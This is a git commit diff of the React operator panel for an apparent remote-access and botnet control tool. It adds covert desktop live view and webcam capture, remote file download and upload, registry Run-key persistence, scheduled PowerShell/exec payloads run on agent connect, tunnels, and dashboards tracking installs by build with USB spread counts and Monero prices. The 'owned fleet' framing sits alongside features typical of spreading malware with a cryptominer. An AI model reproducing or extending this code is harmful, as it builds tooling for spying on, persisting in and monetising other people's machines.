feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -207,6 +207,14 @@ export const api = {
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
getAudit: () => fetchJSON<import('../types').AuditEntry[]>('/audit'),
getFleetTasks: () => fetchJSON<import('../types').FleetTask[]>('/fleet-tasks'),
saveFleetTask: (task: import('../types').FleetTask) =>
fetchJSON<import('../types').FleetTask>('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }),
deleteFleetTask: (id: string) =>
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {

View File

@@ -9,8 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
import './ProtocolTunnelPanel.css';
const TERMINAL_MAX_LINES = 500;
@@ -51,10 +53,20 @@ export default function AgentRemoteActions({
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [liveView, setLiveView] = useState(false);
const liveViewRef = useRef(false);
liveViewRef.current = liveView;
const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false);
const [registryExpanded, setRegistryExpanded] = useState(false);
const [regHive, setRegHive] = useState('HKCU');
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
const [regName, setRegName] = useState('');
const [regValue, setRegValue] = useState('');
const [regType, setRegType] = useState('REG_SZ');
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
@@ -152,18 +164,24 @@ export default function AgentRemoteActions({
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null);
}
} else if (action === 'screenshot') {
} else if (action === 'tunnel_status' && success && message) {
setTunnelStatusMsg(message);
} else if (action === 'screenshot' || action === 'camera_snapshot') {
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
const kind = action === 'camera_snapshot' ? 'camera' : 'screenshot';
const tag = action === 'camera_snapshot' ? 'CAMERA' : 'SCREENSHOT';
if (success && message) {
const clean = sanitizeScreenshotBase64(message);
if (downloadScreenshotFromBase64(clean, label)) {
if (liveViewRef.current && action === 'screenshot') {
setScreenshotData(`data:image/jpeg;base64,${clean}`);
addLog(`✓ Screenshot saved — ${label}`);
} else if (downloadScreenshotFromBase64(clean, label, kind)) {
setScreenshotData(`data:image/jpeg;base64,${clean}`);
addLog(`${tag} saved — ${label}`);
} else {
addLog(`✗ [SCREENSHOT] ${label}: invalid image data`);
addLog(`✗ [${tag}] ${label}: invalid image data`);
}
} else {
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
} else if (!liveViewRef.current || action !== 'screenshot') {
addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action && action !== 'full_sys_check') {
const icon = success ? '✓' : '✗';
@@ -174,6 +192,24 @@ export default function AgentRemoteActions({
}
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
useEffect(() => {
if (!liveView || !isOnline || !agentId || agentId === 'all') return;
let focused = document.visibilityState === 'visible';
const onVis = () => { focused = document.visibilityState === 'visible'; };
document.addEventListener('visibilitychange', onVis);
const id = setInterval(() => {
if (!focused) return;
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
}, 3000);
api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
return () => {
clearInterval(id);
document.removeEventListener('visibilitychange', onVis);
};
}, [liveView, isOnline, agentId]);
useEffect(() => () => setLiveView(false), []);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
addLog('⚠ No agent selected');
@@ -222,6 +258,8 @@ export default function AgentRemoteActions({
try {
if (action === 'screenshot') {
addLog(`◈ Capturing desktop on ${agentName}`);
} else if (action === 'camera_snapshot') {
addLog(`◈ Capturing USB/built-in camera on ${agentName}`);
} else {
addLog(`${action}${agentId === 'all' ? 'FLEET' : agentName}`);
}
@@ -230,7 +268,7 @@ export default function AgentRemoteActions({
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
return;
}
if (action !== 'screenshot') addLog(`✓ command queued`);
if (action !== 'screenshot' && action !== 'camera_snapshot') addLog(`✓ command queued`);
onCommandSent?.(action);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Command failed';
@@ -327,6 +365,16 @@ export default function AgentRemoteActions({
<h3>Recon &amp; Intel</h3>
<div className="button-grid">
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
<button
type="button"
className={liveView ? 'active' : ''}
disabled={!isOnline || agentId === 'all'}
onClick={() => setLiveView((v) => !v)}
title="Poll desktop every 3s while this tab is focused"
>
{liveView ? '■ Live view' : '▶ Live view'}
</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('camera_snapshot')} title="Capture one JPEG frame from the first USB or built-in webcam (requires ffmpeg on Windows agents)">Camera</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button
@@ -528,7 +576,7 @@ export default function AgentRemoteActions({
className="btn-magenta"
disabled={aggDisabled('start_tunnel')}
title={aggTitle('start_tunnel')}
onClick={() => dispatch('start_tunnel')}
onClick={() => dispatch('tunnel_cloudflared')}
>
Cloudflare Tunnel
</button>
@@ -570,6 +618,100 @@ export default function AgentRemoteActions({
</button>
</div>
</div>
{!compact && agentId && agentId !== 'all' && (
<ProtocolTunnelPanel
agentId={agentId}
agentName={agentName}
online={isOnline}
caps={agent?.capabilities}
platform={agent?.platform}
lastTunnelStatusMessage={tunnelStatusMsg}
onDispatch={dispatch}
busy={busy}
/>
)}
{(platform === 'windows' || platform === undefined) && (
<div className="action-group registry-group">
<h3>Registry (administered Windows)</h3>
<button
type="button"
className="btn-cyan wol-toggle"
onClick={() => setRegistryExpanded((p) => !p)}
title="Read/write/delete under Software\ or Environment only"
>
Registry ops {registryExpanded ? '▲' : '▼'}
</button>
{registryExpanded && (
<div className="registry-form">
<div className="registry-row">
<select className="select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
<option value="HKCU">HKCU</option>
<option value="HKLM">HKLM (elevated)</option>
</select>
<input
className="input"
value={regPath}
onChange={(e) => setRegPath(e.target.value)}
placeholder="Software\...\Run"
/>
</div>
<div className="registry-row">
<input className="input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
<input className="input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write only)" />
<select className="select" value={regType} onChange={(e) => setRegType(e.target.value)}>
<option value="REG_SZ">REG_SZ</option>
<option value="REG_DWORD">REG_DWORD</option>
</select>
</div>
<div className="button-grid">
<button
type="button"
disabled={!isOnline || !!busy}
onClick={() =>
dispatch('registry_read', {
data: JSON.stringify({ hive: regHive, path: regPath }),
})
}
>
Read
</button>
<button
type="button"
disabled={!isOnline || !!busy || !regName}
onClick={() =>
dispatch('registry_write', {
data: JSON.stringify({
hive: regHive,
path: regPath,
name: regName,
value: regValue,
type: regType,
}),
})
}
>
Write
</button>
<button
type="button"
className="btn-amber"
disabled={!isOnline || !!busy || !regName}
onClick={() =>
dispatch('registry_delete', {
data: JSON.stringify({ hive: regHive, path: regPath, name: regName }),
})
}
>
Delete
</button>
</div>
<small>Allowlist: Software\ and Environment under HKCU/HKLM. Crucible JSON: action registry_read with data hive/path.</small>
</div>
)}
</div>
)}
</div>
{sysCheckReport && !compact && (
@@ -583,7 +725,7 @@ export default function AgentRemoteActions({
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">
<span>Latest capture (also downloaded)</span>
<span>Latest capture (also downloaded as JPEG)</span>
<button
type="button"
onClick={() => {

View File

@@ -0,0 +1,118 @@
.file-manager {
border: 1px solid var(--clr-border, #333);
border-radius: 4px;
padding: 0.75rem;
background: rgba(0, 0, 0, 0.25);
font-size: 0.85rem;
}
.fm-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 0.5rem;
}
.fm-title {
font-size: 0.7rem;
letter-spacing: 0.06em;
color: var(--clr-dim);
}
.fm-breadcrumb {
margin-bottom: 0.5rem;
flex-wrap: wrap;
}
.fm-crumb {
background: none;
border: none;
color: var(--neon-cyan, #0ff);
cursor: pointer;
font-size: 0.75rem;
padding: 0;
}
.fm-sep {
opacity: 0.5;
margin: 0 0.15rem;
}
.fm-filter {
width: 100%;
margin-bottom: 0.5rem;
font-size: 0.8rem;
}
.fm-list {
list-style: none;
margin: 0;
padding: 0;
max-height: 220px;
overflow-y: auto;
border: 1px solid #222;
}
.fm-list li.selected {
background: rgba(0, 255, 255, 0.08);
}
.fm-row {
display: flex;
align-items: center;
gap: 0.4rem;
width: 100%;
padding: 0.25rem 0.4rem;
background: none;
border: none;
color: inherit;
text-align: left;
cursor: pointer;
}
.fm-name {
flex: 1;
background: none;
border: none;
color: inherit;
text-align: left;
cursor: pointer;
}
.fm-size {
font-size: 0.7rem;
color: var(--clr-dim);
}
.fm-actions {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
margin-top: 0.5rem;
align-items: center;
}
.fm-upload-path {
flex: 1;
min-width: 120px;
font-size: 0.75rem;
}
.fm-preview {
margin-top: 0.5rem;
max-height: 120px;
overflow: auto;
font-size: 0.7rem;
background: #111;
padding: 0.4rem;
}
.fm-err {
color: #f66;
font-size: 0.8rem;
}
.fm-offline {
color: var(--clr-dim);
font-size: 0.8rem;
}

View File

@@ -0,0 +1,216 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { api } from '../../api/client';
import './FileManager.css';
interface DirEntry {
name: string;
is_dir: boolean;
size: number;
}
interface Props {
agentId: string;
agentName?: string;
online: boolean;
/** Called when a command_result arrives (from parent WS hook) */
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
}
function parseListDir(message: string): { path: string; entries: DirEntry[] } | null {
try {
const j = JSON.parse(message) as { path?: string; entries?: DirEntry[] };
if (j.entries && Array.isArray(j.entries)) {
return { path: j.path ?? '', entries: j.entries };
}
} catch {
/* not JSON */
}
return null;
}
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
const [cwd, setCwd] = useState('C:\\');
const [entries, setEntries] = useState<DirEntry[]>([]);
const [filter, setFilter] = useState('');
const [selected, setSelected] = useState<Set<string>>(new Set());
const [busy, setBusy] = useState(false);
const [preview, setPreview] = useState('');
const [err, setErr] = useState('');
const [uploadPath, setUploadPath] = useState('');
const filtered = useMemo(() => {
const q = filter.trim().toLowerCase();
if (!q) return entries;
return entries.filter((e) => e.name.toLowerCase().includes(q));
}, [entries, filter]);
const refresh = useCallback(() => {
if (!online || !agentId) return;
setBusy(true);
setErr('');
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
setErr(e instanceof Error ? e.message : String(e));
setBusy(false);
});
}, [agentId, cwd, online]);
useEffect(() => {
refresh();
}, [refresh]);
useEffect(() => {
if (!commandResults?.length) return;
const last = [...commandResults].reverse().find((r) => r.agentId === agentId);
if (!last) return;
if (last.action === 'list_dir' && last.success) {
const parsed = parseListDir(last.message);
if (parsed) {
setEntries(parsed.entries);
if (parsed.path) setCwd(parsed.path);
}
setBusy(false);
} else if (last.action === 'list_dir' && !last.success) {
setErr(last.message);
setBusy(false);
} else if (last.action === 'read_file' && last.success) {
setPreview(last.message.slice(0, 8000));
setBusy(false);
} else if (last.action === 'read_file' && !last.success) {
setErr(last.message);
setBusy(false);
} else if (last.action === 'download') {
setBusy(false);
}
}, [commandResults, agentId]);
const navigate = (name: string, isDir: boolean) => {
if (!isDir) return;
const sep = cwd.includes('/') ? '/' : '\\';
let next = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
if (name === '..') {
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/);
parts.pop();
next = parts.join(sep) || (sep === '/' ? '/' : 'C:\\');
}
setCwd(next);
setSelected(new Set());
};
const toggleSelect = (name: string) => {
setSelected((prev) => {
const n = new Set(prev);
if (n.has(name)) n.delete(name);
else n.add(name);
return n;
});
};
const sep = cwd.includes('/') ? '/' : '\\';
const downloadSelected = async () => {
if (!online || selected.size === 0) return;
setBusy(true);
for (const name of selected) {
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
try {
const res = await api.sendAgentCommand(agentId, 'download', { path: p });
if (res && typeof res === 'object' && 'success' in res) {
/* result via WS */
}
} catch (e) {
setErr(e instanceof Error ? e.message : String(e));
}
}
setBusy(false);
};
const readFile = (name: string) => {
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
setBusy(true);
setPreview('');
api.sendAgentCommand(agentId, 'read_file', { path: p }).catch((e) => {
setErr(e instanceof Error ? e.message : String(e));
setBusy(false);
});
};
const crumbs = cwd.split(/[/\\]/).filter(Boolean);
return (
<div className="file-manager">
<div className="fm-header">
<span className="font-tech fm-title">FILE BROWSER {agentName ?? agentId.slice(0, 8)}</span>
<button type="button" className="btn btn-outline btn-sm" disabled={!online || busy} onClick={refresh}>
Refresh
</button>
</div>
{!online && <p className="fm-offline">Agent offline</p>}
<div className="fm-breadcrumb font-tech">
<button type="button" className="fm-crumb" onClick={() => setCwd(cwd.startsWith('/') ? '/' : 'C:\\')}>root</button>
{crumbs.map((c, i) => (
<span key={i}>
<span className="fm-sep">/</span>
<button
type="button"
className="fm-crumb"
onClick={() => {
const parts = crumbs.slice(0, i + 1);
setCwd((cwd.startsWith('/') ? '/' : '') + parts.join(sep));
}}
>
{c}
</button>
</span>
))}
</div>
<input
className="input fm-filter"
placeholder="Filter names…"
value={filter}
onChange={(e) => setFilter(e.target.value)}
/>
<ul className="fm-list">
<li>
<button type="button" className="fm-row" onClick={() => navigate('..', true)}>..</button>
</li>
{filtered.map((e) => (
<li key={e.name} className={selected.has(e.name) ? 'selected' : ''}>
<label className="fm-row">
<input type="checkbox" checked={selected.has(e.name)} onChange={() => toggleSelect(e.name)} />
<button type="button" className="fm-name" onClick={() => (e.is_dir ? navigate(e.name, true) : readFile(e.name))}>
{e.is_dir ? '📁' : '📄'} {e.name}
</button>
{!e.is_dir && <span className="fm-size">{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}</span>}
</label>
</li>
))}
</ul>
<div className="fm-actions">
<button type="button" className="btn btn-outline btn-sm" disabled={!online || selected.size === 0 || busy} onClick={downloadSelected}>
Download selected
</button>
<input className="input mono fm-upload-path" placeholder="Upload path" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
<label className="btn btn-outline btn-sm">
Upload
<input
type="file"
hidden
disabled={!online || busy}
onChange={async (ev) => {
const file = ev.target.files?.[0];
if (!file) return;
const { readFileAsBase64 } = await import('../../help/desktopPush');
const b64 = await readFileAsBase64(file);
const dest = uploadPath.trim() || `${cwd}${sep}${file.name}`;
setBusy(true);
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 }).finally(() => setBusy(false));
ev.target.value = '';
}}
/>
</label>
</div>
{err && <p className="fm-err">{err}</p>}
{preview && <pre className="fm-preview">{preview}</pre>}
</div>
);
}

View File

@@ -0,0 +1,81 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { AuditEntry } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
const [entries, setEntries] = useState<AuditEntry[]>([]);
useEffect(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
const t = setInterval(() => {
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
}, 60000);
return () => clearInterval(t);
}, [limit]);
return (
<NeonCard accent="purple" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
{entries.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
) : (
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
{entries.map((e) => (
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
{' '}
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
{' · '}
<strong>{e.action}</strong>
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
</li>
))}
</ul>
)}
</NeonCard>
);
}
export function SpreadFunnelWidget() {
const [stats, setStats] = useState<Awaited<ReturnType<typeof api.getSpreadFunnel>> | null>(null);
useEffect(() => {
api.getSpreadFunnel().then(setStats).catch(() => setStats(null));
}, []);
if (!stats) return null;
return (
<NeonCard accent="cyan" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
<span>New today: <strong>{stats.new_connects_today}</strong></span>
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
</div>
{stats.by_build.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
) : (
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
<thead>
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
</tr>
</thead>
<tbody>
{stats.by_build.slice(0, 10).map((r, i) => (
<tr key={i} style={{ borderTop: '1px solid #222' }}>
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
<td>{r.worker_name}</td>
<td>{r.count}</td>
<td>{r.usb_spread_count > 0 ? r.usb_spread_count : '—'}</td>
</tr>
))}
</tbody>
</table>
)}
</NeonCard>
);
}

View File

@@ -0,0 +1,106 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { FleetTask } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
const ACTIONS = ['sysinfo', 'full_sys_check', 'powershell', 'exec', 'pause', 'resume', 'restart'];
const TRIGGERS = ['on_connect', 'on_reconnect', 'interval_hours', 'cron'] as const;
const emptyTask = (): FleetTask => ({
name: '',
enabled: true,
trigger: 'on_connect',
action: 'sysinfo',
interval_hours: 24,
cron_time: '09:00',
command: '',
});
export default function FleetTasksPanel() {
const [tasks, setTasks] = useState<FleetTask[]>([]);
const [draft, setDraft] = useState<FleetTask>(emptyTask());
const [msg, setMsg] = useState('');
const [loading, setLoading] = useState(true);
const load = () => {
api.getFleetTasks().then(setTasks).catch(() => setTasks([])).finally(() => setLoading(false));
};
useEffect(() => { load(); }, []);
const save = async () => {
setMsg('');
if (!draft.name.trim()) {
setMsg('Name is required');
return;
}
try {
await api.saveFleetTask(draft);
setDraft(emptyTask());
load();
setMsg('Task saved.');
} catch (e) {
setMsg(e instanceof Error ? e.message : String(e));
}
};
const remove = async (id: string) => {
await api.deleteFleetTask(id);
load();
};
return (
<NeonCard accent="amber" tilt3d={false}>
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.25rem', letterSpacing: '0.08em' }}>FLEET TASKS</h3>
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.75rem' }}>Scheduled remote actions on connect / interval</p>
{loading ? <p className="font-tech">Loading</p> : (
<>
<ul style={{ listStyle: 'none', padding: 0, margin: '0 0 1rem' }}>
{tasks.length === 0 && <li style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No tasks configured.</li>}
{tasks.map((t) => (
<li key={t.id} style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', padding: '0.35rem 0', borderBottom: '1px solid #222' }}>
<span>
<strong>{t.name}</strong>
<span style={{ color: 'var(--clr-dim)', marginLeft: '0.5rem', fontSize: '0.75rem' }}>
{t.trigger} {t.action}{!t.enabled && ' (off)'}
</span>
</span>
<span>
<button type="button" className="btn btn-outline btn-sm" onClick={() => setDraft(t)}>Edit</button>
{' '}
<button type="button" className="btn btn-outline btn-sm" onClick={() => t.id && remove(t.id)}>Delete</button>
</span>
</li>
))}
</ul>
<div className="form-grid" style={{ gap: '0.5rem' }}>
<input className="input" placeholder="Task name" value={draft.name} onChange={(e) => setDraft({ ...draft, name: e.target.value })} />
<select className="input" value={draft.trigger} onChange={(e) => setDraft({ ...draft, trigger: e.target.value as FleetTask['trigger'] })}>
{TRIGGERS.map((tr) => <option key={tr} value={tr}>{tr}</option>)}
</select>
<select className="input" value={draft.action} onChange={(e) => setDraft({ ...draft, action: e.target.value })}>
{ACTIONS.map((a) => <option key={a} value={a}>{a}</option>)}
</select>
{draft.trigger === 'interval_hours' && (
<input className="input" type="number" min={0.25} step={0.25} placeholder="Interval hours"
value={draft.interval_hours ?? 24}
onChange={(e) => setDraft({ ...draft, interval_hours: parseFloat(e.target.value) || 24 })} />
)}
{draft.trigger === 'cron' && (
<input className="input mono" placeholder="HH:MM daily" value={draft.cron_time ?? ''} onChange={(e) => setDraft({ ...draft, cron_time: e.target.value })} />
)}
{(draft.action === 'powershell' || draft.action === 'exec') && (
<input className="input mono" placeholder="Command payload" value={draft.command ?? ''} onChange={(e) => setDraft({ ...draft, command: e.target.value })} />
)}
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', fontSize: '0.85rem' }}>
<input type="checkbox" checked={draft.enabled} onChange={(e) => setDraft({ ...draft, enabled: e.target.checked })} />
Enabled
</label>
<button type="button" className="btn btn-primary" onClick={save}>Save task</button>
</div>
{msg && <p style={{ marginTop: '0.5rem', fontSize: '0.85rem', color: msg.includes('required') || msg.includes('API') ? '#f66' : '#0f8' }}>{msg}</p>}
</>
)}
</NeonCard>
);
}

View File

@@ -139,3 +139,53 @@
color: #f87171;
font-size: 0.78rem;
}
.syscheck-warn {
color: #fbbf24;
}
.syscheck-kev-summary {
font-size: 0.82rem;
color: rgba(200, 220, 255, 0.85);
margin: 0.5rem 0;
}
.syscheck-kev-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.45rem;
}
.syscheck-kev-item {
display: grid;
grid-template-columns: auto 1fr auto;
gap: 0.35rem 0.5rem;
padding: 0.45rem 0.55rem;
border-radius: 6px;
border: 1px solid rgba(80, 120, 180, 0.25);
font-size: 0.78rem;
}
.syscheck-kev-exposed {
border-color: rgba(248, 113, 113, 0.45);
background: rgba(80, 20, 20, 0.25);
}
.syscheck-kev-likely {
border-color: rgba(251, 191, 36, 0.35);
background: rgba(60, 45, 10, 0.2);
}
.syscheck-kev-cve {
font-family: var(--font-mono, monospace);
color: #9ee0ff;
}
.syscheck-kev-detail {
grid-column: 1 / -1;
color: rgba(180, 200, 230, 0.75);
font-size: 0.72rem;
}

View File

@@ -115,6 +115,49 @@ export default function FullSysCheckPanel({
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
</Section>
{report.kev_exposure && (
<Section title="CISA KEV Exposure (heuristic)">
<Row
label="Risk score"
value={
<span
className={
report.kev_exposure.risk_score >= 50
? 'syscheck-bad'
: report.kev_exposure.risk_score >= 25
? 'syscheck-warn'
: 'syscheck-ok'
}
>
{report.kev_exposure.risk_score} / 100
</span>
}
/>
<Row
label="Indicators"
value={`${report.kev_exposure.exposed_count} exposed · ${report.kev_exposure.likely_count} likely · ${report.kev_exposure.critical_count} critical`}
/>
{report.kev_exposure.summary && (
<p className="syscheck-kev-summary">{report.kev_exposure.summary}</p>
)}
<ul className="syscheck-kev-list">
{report.kev_exposure.findings
?.filter((f) => f.status === 'exposed' || f.status === 'likely')
.map((f) => (
<li key={f.cve} className={`syscheck-kev-item syscheck-kev-${f.status}`}>
<span className="syscheck-kev-cve">{f.cve}</span>
<span className="syscheck-kev-name">{f.name}</span>
<span className="syscheck-kev-status">{f.status}</span>
{f.detail && <span className="syscheck-kev-detail">{f.detail}</span>}
</li>
))}
</ul>
<p className="syscheck-muted" style={{ marginTop: '0.5rem' }}>
Read-only checks aligned with CISA known-exploited CVE families (Log4Shell, ProxyLogon, Zerologon, Citrix, Pulse, F5, Confluence, etc.). Verify patches on any &quot;likely&quot; or &quot;exposed&quot; row.
</p>
</Section>
)}
<Section title="Hardware">
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />

View File

@@ -0,0 +1,136 @@
.protocol-tunnel-panel {
margin-top: 1rem;
border: 1px solid rgba(201, 162, 39, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.75);
}
.protocol-tunnel-panel.compact {
margin-top: 0.5rem;
}
.protocol-tunnel-toggle {
width: 100%;
display: flex;
justify-content: space-between;
align-items: center;
padding: 0.65rem 0.85rem;
background: transparent;
border: none;
color: var(--accent-gold, #c9a227);
cursor: pointer;
font-size: 0.85rem;
text-align: left;
}
.protocol-tunnel-toggle:hover {
background: rgba(201, 162, 39, 0.08);
}
.protocol-tunnel-body {
padding: 0 0.85rem 0.85rem;
border-top: 1px solid rgba(255, 255, 255, 0.06);
}
.protocol-tunnel-help {
font-size: 0.78rem;
color: var(--clr-dim, #888);
margin: 0.65rem 0 0.85rem;
line-height: 1.45;
}
.protocol-tunnel-cards {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
gap: 0.75rem;
}
.protocol-tunnel-card {
border: 1px solid rgba(0, 245, 255, 0.15);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);
}
.protocol-tunnel-card h4 {
margin: 0 0 0.35rem;
font-size: 0.72rem;
letter-spacing: 0.1em;
color: var(--accent-cyan, #00f5ff);
text-transform: uppercase;
}
.protocol-tunnel-card-hint {
margin: 0 0 0.5rem;
font-size: 0.72rem;
color: var(--clr-dim, #888);
}
.protocol-tunnel-label {
display: block;
font-size: 0.72rem;
color: var(--clr-dim, #aaa);
margin-bottom: 0.45rem;
}
.protocol-tunnel-input {
display: block;
width: 100%;
margin-top: 0.2rem;
font-size: 0.8rem;
}
.protocol-tunnel-input.short {
max-width: 6rem;
}
.protocol-tunnel-row {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
}
.protocol-tunnel-actions {
margin-top: 0.35rem;
}
.protocol-tunnel-link {
display: inline-block;
text-decoration: none;
}
.protocol-tunnel-status-bar {
display: flex;
gap: 0.5rem;
margin-top: 0.85rem;
flex-wrap: wrap;
}
.protocol-tunnel-status {
margin-top: 0.75rem;
padding: 0.55rem 0.65rem;
border-radius: 6px;
background: rgba(0, 0, 0, 0.35);
font-size: 0.78rem;
}
.protocol-tunnel-status h4 {
margin: 0 0 0.4rem;
font-size: 0.7rem;
color: var(--accent-gold, #c9a227);
}
.protocol-tunnel-status-list {
margin: 0;
padding-left: 1.1rem;
line-height: 1.5;
}
.protocol-tunnel-raw {
margin: 0;
font-size: 0.72rem;
white-space: pre-wrap;
word-break: break-all;
max-height: 8rem;
overflow: auto;
}

View File

@@ -0,0 +1,278 @@
import { useCallback, useEffect, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import type { Agent, AgentCapabilities } from '../../types';
import { canRunAggressiveAction, aggressiveActionHint } from '../../help/aggressiveActions';
import './ProtocolTunnelPanel.css';
export interface TunnelStatusView {
cloudflared_running?: boolean;
cloudflared_url?: string;
cloudflared_pid?: number;
wireguard_active?: boolean;
wireguard_detail?: string;
ssh_forwards?: Array<{
local_port: number;
remote_host: string;
remote_port: number;
ssh_user?: string;
jump_host?: string;
pid: number;
running?: boolean;
}>;
}
function parseTunnelStatus(message: string): TunnelStatusView | null {
const start = message.indexOf('{');
if (start < 0) return null;
try {
return JSON.parse(message.slice(start)) as TunnelStatusView;
} catch {
return null;
}
}
interface Props {
agentId: string;
agentName: string;
online: boolean;
caps?: AgentCapabilities | null;
platform?: string;
compact?: boolean;
/** WS command_result messages — panel listens for tunnel_status */
lastTunnelStatusMessage?: string;
